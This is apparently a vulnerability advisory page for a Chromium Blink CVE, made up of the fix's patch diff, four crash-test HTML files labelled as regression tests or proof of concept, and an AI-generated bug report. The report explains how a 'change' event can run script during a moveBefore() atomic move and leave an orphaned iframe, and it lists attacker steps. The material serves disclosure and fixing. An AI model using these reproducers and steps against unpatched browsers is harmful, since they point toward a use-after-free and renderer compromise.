CVE-2026-15126
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/html/forms/html_field_set_element.cc |
modified |
Files Changed
third_party/blink/renderer/core/html/custom/custom_element_definition.ccthird_party/blink/renderer/core/html/forms/file_input_type.ccthird_party/blink/renderer/core/html/forms/file_input_type.hthird_party/blink/renderer/core/html/forms/html_field_set_element.ccthird_party/blink/renderer/core/html/forms/html_field_set_element.hthird_party/blink/renderer/core/html/forms/html_form_control_element.cc
Patch
From 126b63885ce76abb52318ff90cb0534339820326 Mon Sep 17 00:00:00 2001 From: Joey Arhar <[email protected]> Date: Thu, 25 Jun 2026 08:05:47 -0700 Subject: [PATCH] Don't fire change event during mutations affecting disabledness Running script inside mutations (InsertedInto, RemovedFrom, MovedFrom) is not allowed. Fixed: 523756329, 523748081, 523737685 Change-Id: Ib0842d5c8fcf837d96f270a8d50d4189ef151d06 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7948021 Reviewed-by: Joey Arhar <[email protected]> Reviewed-by: David Baron <[email protected]> Commit-Queue: Joey Arhar <[email protected]> Cr-Commit-Position: refs/heads/main@{#1652428} --- diff --git a/third_party/blink/renderer/core/html/custom/custom_element_definition.cc b/third_party/blink/renderer/core/html/custom/custom_element_definition.cc index 68afcd48..d0d4b43c 100644 --- a/third_party/blink/renderer/core/html/custom/custom_element_definition.cc +++ b/third_party/blink/renderer/core/html/custom/custom_element_definition.cc @@ -248,8 +248,10 @@ if (ListedElement* listed_element = ListedElement::From(element)) { if (element.FastHasAttribute(html_names::kReadonlyAttr)) listed_element->ReadonlyAttributeChanged(); - if (element.FastHasAttribute(html_names::kDisabledAttr)) - listed_element->DisabledAttributeChanged(); + if (element.FastHasAttribute(html_names::kDisabledAttr)) { + listed_element->DisabledAttributeChanged( + DisabledChangedReason::kAttributeChanged); + } } if (IsFormAssociated()) diff --git a/third_party/blink/renderer/core/html/forms/file_input_type.cc b/third_party/blink/renderer/core/html/forms/file_input_type.cc index 8382530..2240228 100644 --- a/third_party/blink/renderer/core/html/forms/file_input_type.cc +++ b/third_party/blink/renderer/core/html/forms/file_input_type.cc @@ -418,7 +418,7 @@ return GetElement().EnsureShadowSubtree()->lastChild(); } -void FileInputType::DisabledAttributeChanged() { +void FileInputType::DisabledAttributeChanged(DisabledChangedReason reason) { if (Element* button = UploadButton()) { button->SetBooleanAttribute(html_names::kDisabledAttr, GetElement().IsDisabledFormControl()); diff --git a/third_party/blink/renderer/core/html/forms/file_input_type.h b/third_party/blink/renderer/core/html/forms/file_input_type.h index d0be314..152b29c 100644 --- a/third_party/blink/renderer/core/html/forms/file_input_type.h +++ b/third_party/blink/renderer/core/html/forms/file_input_type.h @@ -88,7 +88,7 @@ String DroppedFileSystemId() override; void CreateShadowSubtree() override; HTMLInputElement* UploadButton() const override; - void DisabledAttributeChanged() override; + void DisabledAttributeChanged(DisabledChangedReason) override; void MultipleAttributeChanged() override; String DefaultToolTip(const InputTypeView&) const override; void CopyNonAttributeProperties(const HTMLInputElement&) override; diff --git a/third_party/blink/renderer/core/html/forms/html_field_set_element.cc b/third_party/blink/renderer/core/html/forms/html_field_set_element.cc index bca3141..5e947482 100644 --- a/third_party/blink/renderer/core/html/forms/html_field_set_element.cc +++ b/third_party/blink/renderer/core/html/forms/html_field_set_element.cc @@ -24,6 +24,7 @@ #include "third_party/blink/renderer/core/html/forms/html_field_set_element.h" +#include "base/auto_reset.h" #include "third_party/blink/renderer/core/dom/element_traversal.h" #include "third_party/blink/renderer/core/dom/events/event_dispatch_forbidden_scope.h" #include "third_party/blink/renderer/core/dom/layout_tree_builder_traversal.h" @@ -35,6 +36,7 @@ #include "third_party/blink/renderer/core/html_names.h" #include "third_party/blink/renderer/core/layout/forms/layout_fieldset.h" #include "third_party/blink/renderer/core/layout/layout_block.h" +#include "third_party/blink/renderer/platform/runtime_enabled_features.h" #include "third_party/blink/renderer/platform/wtf/std_lib_extras.h" namespace blink { @@ -124,18 +126,21 @@ // Returns a disabled focused element if it's in descendants of |base|. Element* HTMLFieldSetElement::InvalidateDescendantDisabledStateAndFindFocusedOne( - Element& base) { + Element& base, + DisabledChangedReason reason) { Element* focused_element = AdjustedFocusedElementInTreeScope(); bool should_blur = false; { EventDispatchForbiddenScope event_forbidden; for (HTMLElement& element : Traversal<HTMLElement>::DescendantsOf(base)) { - if (auto* control = DynamicTo<HTMLFormControlElement>(element)) - control->AncestorDisabledStateWasChanged(); - else if (element.IsFormAssociatedCustomElement()) - element.EnsureElementInternals().AncestorDisabledStateWasChanged(); - else + if (auto* control = DynamicTo<HTMLFormControlElement>(element)) { + control->AncestorDisabledStateWasChanged(reason); + } else if (element.IsFormAssociatedCustomElement()) { + element.EnsureElementInternals().AncestorDisabledStateWasChanged( + reason); + } else { continue; + } if (focused_element == &element && element.IsDisabledFormControl()) should_blur = true; } @@ -143,11 +148,12 @@ return should_blur ? focused_element : nullptr; } -void HTMLFieldSetElement::DisabledAttributeChanged() { +void HTMLFieldSetElement::DisabledAttributeChanged( + DisabledChangedReason reason) { bool was_disabled = IsSelfDisabledIgnoringAncestors(); // This element must be updated before the style of nodes in its subtree gets // recalculated. - HTMLFormControlElement::DisabledAttributeChanged(); + HTMLFormControlElement::DisabledAttributeChanged(reason); if (was_disabled != IsSelfDisabledIgnoringAncestors()) { Document& document = GetDocument(); if (was_disabled) { @@ -157,16 +163,18 @@ } } if (Element* focused_element = - InvalidateDescendantDisabledStateAndFindFocusedOne(*this)) + InvalidateDescendantDisabledStateAndFindFocusedOne(*this, reason)) { focused_element->blur(); + } } -void HTMLFieldSetElement::AncestorDisabledStateWasChanged() { +void HTMLFieldSetElement::AncestorDisabledStateWasChanged( + DisabledChangedReason reason) { ancestor_disabled_state_ = AncestorDisabledState::kUnknown; // Do not re-enter HTMLFieldSetElement::DisabledAttributeChanged(), so that // we only invalidate this element's own disabled state and do not traverse // the descendants. - HTMLFormControlElement::DisabledAttributeChanged(); + HTMLFormControlElement::DisabledAttributeChanged(reason); } void HTMLFieldSetElement::DidMoveToNewDocument(Document& old_document) { @@ -184,9 +192,10 @@ EventDispatchForbiddenScope event_forbidden; for (HTMLLegendElement& legend : Traversal<HTMLLegendElement>::ChildrenOf(*this)) { - if (Element* element = - InvalidateDescendantDisabledStateAndFindFocusedOne(legend)) + if (Element* element = InvalidateDescendantDisabledStateAndFindFocusedOne( + legend, DisabledChangedReason::kFieldsetChildrenChanged)) { focused_element = element; + } } } if (!GetDocument().StatePreservingAtomicMoveInProgress() && focused_element) { diff --git a/third_party/blink/renderer/core/html/forms/html_field_set_element.h b/third_party/blink/renderer/core/html/forms/html_field_set_element.h index 69c6ded..1c132ab 100644 --- a/third_party/blink/renderer/core/html/forms/html_field_set_element.h +++ b/third_party/blink/renderer/core/html/forms/html_field_set_element.h @@ -49,8 +49,8 @@ void UpdateMenuItemCheckableExclusivity(HTMLMenuItemElement*); protected: - void DisabledAttributeChanged() override; - void AncestorDisabledStateWasChanged() override; + void DisabledAttributeChanged(DisabledChangedReason) override; + void AncestorDisabledStateWasChanged(DisabledChangedReason) override; void DidMoveToNewDocument(Document& old_document) override; private: @@ -70,7 +70,9 @@ bool MatchesEnabledPseudoClass() const final; bool MatchesDisabledPseudoClass() const final; - Element* InvalidateDescendantDisabledStateAndFindFocusedOne(Element& base); + Element* InvalidateDescendantDisabledStateAndFindFocusedOne( + Element& base, + DisabledChangedReason); }; } // namespace blink diff --git a/third_party/blink/renderer/core/html/forms/html_form_control_element.cc b/third_party/blink/renderer/core/html/forms/html_form_control_element.cc index a60b067..e6bedb46 100644 --- a/third_party/blink/renderer/core/html/forms/html_form_control_element.cc +++ b/third_party/blink/renderer/core/html/forms/html_form_control_element.cc @@ -149,7 +149,7 @@ HTMLElement::AttributeChanged(params); if (params.name == html_names::kDisabledAttr && params.old_value.IsNull() != params.new_value.IsNull()) { - DisabledAttributeChanged(); + DisabledAttributeChanged(DisabledChangedReason::kAttributeChanged); if (params.reason == AttributeModificationReason::kDirectly && IsDisabledFormControl() && AdjustedFocusedElementInTreeScope() == this) blur(); @@ -181,12 +181,13 @@ } }
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/insertBefore-iframe-crash.html b/third_party/blink/web_tests/external/wpt/dom/nodes/insertBefore-iframe-crash.html new file mode 100644 index 0000000..0effea6 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/dom/nodes/insertBefore-iframe-crash.html @@ -0,0 +1,61 @@ +<!DOCTYPE html> +<html class="test-wait"> +<link rel=author href="mailto:[email protected]"> +<link rel=help href="https://issues.chromium.org/issues/523756329"> +<script src="/resources/testdriver.js"></script> +<script src="/resources/testdriver-actions.js"></script> +<script src="/resources/testdriver-vendor.js"></script> +<style> + #num { + width: 200px; + height: 60px; + font-size: 30px; + } +</style> + +<fieldset id=fs disabled> + <legend id=legend1> + <input id=num type=number value=5> + </legend> + <legend id=legend2>second</legend> +</fieldset> + +<div id=iframe-host> + <iframe id=iframe src="about:blank"></iframe> +</div> + +<script> +window.onload = async () => { + const fs = document.getElementById('fs'); + const legend1 = document.getElementById('legend1'); + const legend2 = document.getElementById('legend2'); + const num = document.getElementById('num'); + const iframe = document.getElementById('iframe'); + + await new Promise(requestAnimationFrame); + await new Promise(requestAnimationFrame); + + num.addEventListener('change', () => { + iframe.remove(); + }); + + // Target the spin button (step-up arrow) which is on the right edge, upper half. + // We calculate the offset from the center of the input element. + const rect = num.getBoundingClientRect(); + const offsetX = Math.round(rect.width / 2 - 7); + const offsetY = Math.round(-rect.height / 4); + + // Press and hold the spin button + await new test_driver.Actions() + .pointerMove(offsetX, offsetY, {origin: num}) + .pointerDown() + .send(); + + // Wait a frame to ensure the pointer down is processed and value is stepped + await new Promise(requestAnimationFrame); + + fs.insertBefore(legend2, legend1); + document.body.appendChild(iframe); + document.documentElement.classList.remove('test-wait'); +} +</script> diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-iframe-crash.html b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-iframe-crash.html new file mode 100644 index 0000000..acc8fca --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-iframe-crash.html @@ -0,0 +1,61 @@ +<!DOCTYPE html> +<html class="test-wait"> +<link rel=author href="mailto:[email protected]"> +<link rel=help href="https://issues.chromium.org/issues/523756329"> +<script src="/resources/testdriver.js"></script> +<script src="/resources/testdriver-actions.js"></script> +<script src="/resources/testdriver-vendor.js"></script> +<style> + #num { + width: 200px; + height: 60px; + font-size: 30px; + } +</style> + +<fieldset id=fs disabled> + <legend id=legend1> + <input id=num type=number value=5> + </legend> + <legend id=legend2>second</legend> +</fieldset> + +<div id=iframe-host> + <iframe id=iframe src="about:blank"></iframe> +</div> + +<script> +window.onload = async () => { + const fs = document.getElementById('fs'); + const legend1 = document.getElementById('legend1'); + const legend2 = document.getElementById('legend2'); + const num = document.getElementById('num'); + const iframe = document.getElementById('iframe'); + + await new Promise(requestAnimationFrame); + await new Promise(requestAnimationFrame); + + num.addEventListener('change', () => { + iframe.remove(); + }); + + // Target the spin button (step-up arrow) which is on the right edge, upper half. + // We calculate the offset from the center of the input element. + const rect = num.getBoundingClientRect(); + const offsetX = Math.round(rect.width / 2 - 7); + const offsetY = Math.round(-rect.height / 4); + + // Press and hold the spin button + await new test_driver.Actions() + .pointerMove(offsetX, offsetY, {origin: num}) + .pointerDown() + .send(); + + // Wait a frame to ensure the pointer down is processed and value is stepped + await new Promise(requestAnimationFrame); + + fs.moveBefore(legend2, legend1); + document.body.appendChild(iframe); + document.documentElement.classList.remove('test-wait'); +} +</script> diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-legend-input-crash.html b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-legend-input-crash.html new file mode 100644 index 0000000..06b55c2 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-legend-input-crash.html @@ -0,0 +1,58 @@ +<!DOCTYPE html> +<html class="test-wait"> +<link rel=author href="mailto:[email protected]"> +<link rel=help href="https://issues.chromium.org/issues/523756329"> +<script src="/resources/testdriver.js"></script> +<script src="/resources/testdriver-actions.js"></script> +<script src="/resources/testdriver-vendor.js"></script> +<style> + #num { + width: 200px; + height: 60px; + font-size: 30px; + } +</style> + +<fieldset id=fieldset disabled> + <legend id=legend> + <input id=num type=number value=5> + </legend> + <span id=pad></span> +</fieldset> + +<div id=iframe-host> + <iframe id=iframe srcdoc="<h1>iframe</h1>"></iframe> +</div> + +<script> +window.onload = async () => { + const fieldset = document.getElementById('fieldset'); + const legend = document.getElementById('legend'); + const num = document.getElementById('num'); + const iframe = document.getElementById('iframe'); + + await new Promise(requestAnimationFrame); + await new Promise(requestAnimationFrame); + + num.addEventListener('change', () => { + iframe.remove(); + }); + + // Target the spin button (step-up arrow) which is on the right edge, upper half. + const rect = num.getBoundingClientRect(); + const offsetX = Math.round(rect.width / 2 - 7); + const offsetY = Math.round(-rect.height / 4); + + // Press and hold the spin button to get capture + await new test_driver.Actions() + .pointerMove(offsetX, offsetY, {origin: num}) + .pointerDown() + .send(); + await new Promise(requestAnimationFrame); + + fieldset.moveBefore(legend, null); + document.body.appendChild(iframe); + await new Promise(requestAnimationFrame); + document.documentElement.classList.remove('test-wait'); +} +</script> diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-range-iframe-crash.html b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-range-iframe-crash.html new file mode 100644 index 0000000..abde4a8 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-range-iframe-crash.html @@ -0,0 +1,54 @@ +<!DOCTYPE html> +<html class="test-wait"> +<link rel=author href="mailto:[email protected]"> +<link rel=help href="https://issues.chromium.org/issues/523748081"> +<script src="/resources/testdriver.js"></script> +<script src="/resources/testdriver-actions.js"></script> +<script src="/resources/testdriver-vendor.js"></script> +<style> + #slider { width: 400px; height: 30px; } +</style> + +<legend id=legend1>legend1</legend> + +<fieldset id=fs disabled> + <legend id=legend2> + <input type=range id=slider min=0 max=100 value=50> + </legend> +</fieldset> + +<iframe id=iframe srcdoc="<body>iframe</body>"></iframe> + +<script> +window.onload = async () => { + const slider = document.getElementById("slider"); + const fs = document.getElementById("fs"); + const legend1 = document.getElementById("legend1"); + const legend2 = document.getElementById("legend2"); + const iframe = document.getElementById("iframe"); + + await new Promise(requestAnimationFrame); + + slider.addEventListener("change", () => { + iframe.remove(); + }, { once: true }); + + slider.addEventListener("input", () => { + fs.moveBefore(legend1, legend2); + document.body.appendChild(iframe); + document.documentElement.classList.remove('test-wait'); + }, { once: true }); + + const rect = slider.getBoundingClientRect(); + const offsetX = Math.round(rect.width * 0.4); + const offsetY = 0; + + await new test_driver.Actions() + .pointerMove(offsetX, offsetY, {origin: slider}) + .pointerDown() + .pause(50) + .pointerMove(offsetX + 5, offsetY, {origin: slider}) + .pointerUp() + .send(); +}; +</script>
Original Bug Report
UAF via synchronous 'change' event during moveBefore atomic move
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The moveBefore() API sets a StatePreservingAtomicMoveInProgress flag to suppress script execution and frame detachment. However, if a range input becomes disabled during the move, a ‘change’ event is dispatched synchronously, allowing JavaScript to execute while security invariants are suspended.
Affected files:
third_party/blink/renderer/core/html/forms/range_input_type.cc
Estimated timestamp from git blame: Unknown (Google3 checkout)
Summary
A potential vulnerability in Blink allows synchronous JavaScript execution during an atomic DOM move (the moveBefore() API). When an <input type="range"> is moved such that its disabled state changes (e.g., inside a disabled <fieldset>), it may trigger a change event synchronously. This violates the StatePreservingAtomicMoveInProgress invariant, which is designed to ensure that no script runs during the atomic operation. Executing script while this flag is active allows an attacker to bypass security checks and cause Use-After-Free (UAF) via orphaned frames.
Technical Details
When the moveBefore() API is invoked, Node::moveBefore() sets the StatePreservingAtomicMoveInProgress flag on the Document. During the insertion phase, ChildrenChanged() is called on ancestor elements.
If the parent is an HTMLFieldSetElement, HTMLFieldSetElement::ChildrenChanged() iterates over its descendants to update their disabled state. If a <input type="range"> transitions to a disabled state, it calls RangeInputType::DisabledAttributeChanged(). This method unconditionally calls GetSliderThumbElement()->StopDragging().
SliderThumbElement::StopDragging() terminates the drag and invokes HostInput()->DispatchFormControlChangeEvent(). Because moveBefore() intentionally does not establish an EventQueueScope (under the assumption that no script can run during atomic moves), the ScopedEventQueue has a scoping level of 0. Consequently, ScopedEventQueue::EnqueueEvent() falls back to synchronous dispatch via EventDispatcher::DispatchEvent().
Impact
The StatePreservingAtomicMoveInProgress flag is used to bypass critical security checks in HTMLFrameOwnerElement and ChildFrameDisconnector. It assumes the DOM is in a controlled, intermediate state. By executing a change event listener during this window, an attacker can manipulate the DOM (e.g., iframe.remove()). The frame is removed from the DOM tree, but because the flag is true, ClearContentFrame() and ChildFrameDisconnector are bypassed. This leaves the frame detached from the DOM but still active in the FrameTree (an orphaned frame), which historically leads to Use-After-Free (UAF) and renderer compromise.
Potential Attack Scenario
Note: These are suggested steps; our tooling agent does not have the ability to run code to confirm a working PoC.
- An attacker creates a disabled
<fieldset>containing a<legend>(L1). InsideL1, they place an<input type="range" id="slider">(which remains enabled per HTML spec). - The attacker creates an unrelated
<iframe>elsewhere in the document to target for orphaning. - The attacker adds a
changeevent listener to thesliderthat callsiframe.remove(). - The user clicks and drags the slider thumb (
mousedown), initiatingin_drag_mode_. - During the drag, a
mousemovelistener on the document executes. It callsfieldset.moveBefore(L0, L1)to insert a new legendL0beforeL1. - During the atomic move,
L1is no longer the first legend, so the<fieldset>disabled state now applies to theslider. HTMLFieldSetElement::ChildrenChanged()updates the slider to disabled.StopDragging()is called, which synchronously fires thechangeevent.- The attacker’s
changeevent listener executes whileStatePreservingAtomicMoveInProgressistrue. - The
iframe.remove()call succeeds, but frame detachment is bypassed, creating an orphaned frame.
Recommendation
Modify RangeInputType::DisabledAttributeChanged() or SliderThumbElement::StopDragging() to queue the event if an atomic move is in progress, or wrap the moveBefore() insertion logic in an EventQueueScope to ensure events dispatched during DOM mutations are deferred until the atomic move completes.
Evaluated with Chrome root at commit: 65b3256311f3ab6fb9870eaa522de7e6dd2663bb
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.